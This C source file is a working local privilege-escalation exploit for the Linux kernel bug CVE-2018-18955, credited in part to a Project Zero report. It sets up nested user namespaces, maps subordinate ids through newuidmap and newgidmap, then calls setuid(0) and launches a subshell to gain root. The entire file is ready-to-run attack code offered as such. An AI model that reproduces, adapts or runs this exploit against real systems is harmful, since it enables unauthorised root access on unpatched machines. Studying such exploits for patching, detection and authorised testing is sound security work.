// subuid_shell.c - Linux local root exploit for CVE-2018-18955
// Exploits broken uid/gid mapping in nested user namespaces.
// ---
// Mostly stolen from Jann Horn's exploit:
// - https://bugs.chromium.org/p/project-zero/issues/detail?id=1712
// Some code stolen from Xairy's exploits:
// - https://github.com/xairy/kernel-exploits
// ---
// <bcoles@gmail.com>
// - added auto subordinate id mapping
// https://github.com/bcoles/kernel-exploits/tree/master/CVE-2018-18955

#define _GNU_SOURCE

#include <unistd.h>
#include <fcntl.h>
#include <grp.h>
#include <pwd.h>
#include <sched.h>
#include <stdio.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/wait.h>
#include <stdarg.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <sys/prctl.h>

#define DEBUG

#ifdef DEBUG
#  define dprintf printf
#else
#  define dprintf
#endif

char* SUBSHELL = "./subshell";


// * * * * * * * * * * * * * * * * * File I/O * * * * * * * * * * * * * * * * *

#define CHUNK_SIZE 1024

int read_file(
   const char* file,
         char* buffer,
         int   max_length
) {
   int f = open(file, O_RDONLY);

   if (f == -1) {
      return -1;
   }

   int bytes_read = 0;

   while (1) {
      int bytes_to_read = CHUNK_SIZE;

      if (bytes_to_read > max_length - bytes_read) {
         bytes_to_read = max_length - bytes_read;
      }

      int rv = read(f, &buffer[bytes_read], bytes_to_read);

      if (rv == -1) {
         return -1;
      }

      bytes_read += rv;

      if (rv == 0) {
         return bytes_read;
      }
   }
}

static int write_file(
   const char* file,
   const char* what,
   ...
) {
   char buf[1024];
   va_list args;

   va_start(args, what);
   vsnprintf(buf, sizeof(buf), what, args);
   va_end(args);

   buf[sizeof(buf) - 1] = 0;

   int len = strlen(buf);
   int fd  = open(file, O_WRONLY | O_CLOEXEC);

   if (fd == -1) {
      return -1;
   }

   if (write(fd, buf, len) != len) {
      close(fd);
      return -1;
   }

   close(fd);
   return 0;
}


// * * * * * * * * * * * * * * * * * Map * * * * * * * * * * * * * * * * *

int get_subuid(
   char* output,
   int   max_length
) {
   char  buffer[1024];
   char* path   = "/etc/subuid";
   int   length = read_file(path, &buffer[0], sizeof(buffer));

   if (length == -1) {
      return -1;
   }

   int real_uid     = getuid();
   struct passwd *u = getpwuid(real_uid);

   char needle[1024];

   sprintf(needle, "%s:", u->pw_name);

   int   needle_length = strlen(needle);
   char* found         = memmem(&buffer[0], length, needle, needle_length);

   if (found == NULL) {
      return -1;
   }

   for (int i = 0; found[needle_length + i] != ':'; i++) {
      if (
            i >= max_length
         || ((found - &buffer[0]) + needle_length + i >= length)
      ) {
         return -1;
      }

      output[i] = found[needle_length + i];
   }

   return 0;
}

int get_subgid(
   char* output,
   int   max_length
) {
   char  buffer[1024];
   char* path   = "/etc/subgid";
   int   length = read_file(path, &buffer[0], sizeof(buffer));

   if (length == -1) {
      return -1;
   }

   char needle[1024];
   int  real_gid   = getgid();
   struct group *g = getgrgid(real_gid);

   sprintf(needle, "%s:", g->gr_name);

   int   needle_length = strlen(needle);
   char* found         = memmem(&buffer[0], length, needle, needle_length);

   if (found == NULL) {
      return -1;
   }

   for (int i = 0; found[needle_length + i] != ':'; i++) {
      if (
         i >= max_length
         || ((found - &buffer[0]) + needle_length + i >= length)
      ) {
         return -1;
      }

      output[i] = found[needle_length + i];
   }

   return 0;
}


// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * *

int main(int argc, char** argv) {
   if (argc > 1) {
      SUBSHELL = argv[1];
   }

   dprintf("[.] starting\n");
   dprintf("[.] setting up namespace\n");

   int  sync_pipe[2];
   char dummy;

   if (socketpair(AF_UNIX, SOCK_STREAM, 0, sync_pipe)) {
      dprintf("[-] pipe\n");
      exit(EXIT_FAILURE);
   }

   pid_t child = fork();

   if (child == -1) {
      dprintf("[-] fork");
      exit(EXIT_FAILURE);
   }

   if (child == 0) {
      prctl(PR_SET_PDEATHSIG, SIGKILL);
      close(sync_pipe[1]);

      if (unshare(CLONE_NEWUSER) != 0) {
         dprintf("[-] unshare(CLONE_NEWUSER)\n");
         exit(EXIT_FAILURE);
      }

      if (unshare(CLONE_NEWNET) != 0) {
         dprintf("[-] unshare(CLONE_NEWNET)\n");
         exit(EXIT_FAILURE);
      }

      if (write(sync_pipe[0], "X", 1) != 1) {
         dprintf("write to sock\n");
         exit(EXIT_FAILURE);
      }

      if (read(sync_pipe[0], &dummy, 1) != 1) {
         dprintf("[-] read from sock\n");
         exit(EXIT_FAILURE);
      }

      if (setgid(0)) {
         dprintf("[-] setgid");
         exit(EXIT_FAILURE);
      }

      if (setuid(0)) {
         printf("[-] setuid");
         exit(EXIT_FAILURE);
      }

      execl(SUBSHELL, "", NULL);
      dprintf("[-] executing subshell failed\n");
   }

   close(sync_pipe[0]);

   if (read(sync_pipe[1], &dummy, 1) != 1) {
      dprintf("[-] read from sock\n");
      exit(EXIT_FAILURE);
   }

   char path[256];

   sprintf(path, "/proc/%d/setgroups", (int)child);

   if (write_file(path, "deny") == -1) {
      dprintf("[-] denying setgroups failed\n");
      exit(EXIT_FAILURE);
   }

   dprintf("[~] done, namespace sandbox set up\n");
   dprintf("[.] mapping subordinate ids\n");

   char subuid[64];
   char subgid[64];

   if (get_subuid(&subuid[0], sizeof(subuid))) {
      dprintf("[-] couldn't find subuid map in /etc/subuid\n");
      exit(EXIT_FAILURE);
   }

   if (get_subgid(&subgid[0], sizeof(subgid))) {
      dprintf("[-] couldn't find subgid map in /etc/subgid\n");
      exit(EXIT_FAILURE);
   }

   dprintf("[.] subuid: %s\n", subuid);
   dprintf("[.] subgid: %s\n", subgid);

   char cmd[256];

   sprintf(cmd, "newuidmap %d 0 %s 1000", (int)child, subuid);

   if (system(cmd))  {
      dprintf("[-] newuidmap failed");
      exit(EXIT_FAILURE);
   }

   sprintf(cmd, "newgidmap %d 0 %s 1000", (int)child, subgid);

   if (system(cmd)) {
      dprintf("[-] newgidmap failed");
      exit(EXIT_FAILURE);
   }

   dprintf("[~] done, mapped subordinate ids\n");
   dprintf("[.] executing subshell\n");

   if (write(sync_pipe[1], "X", 1) != 1) {
      dprintf("[-] write to sock");
      exit(EXIT_FAILURE);
   }

   int status;

   if (wait(&status) != child) {
      dprintf("[-] wait");
      exit(EXIT_FAILURE);
   }

   return 0;
}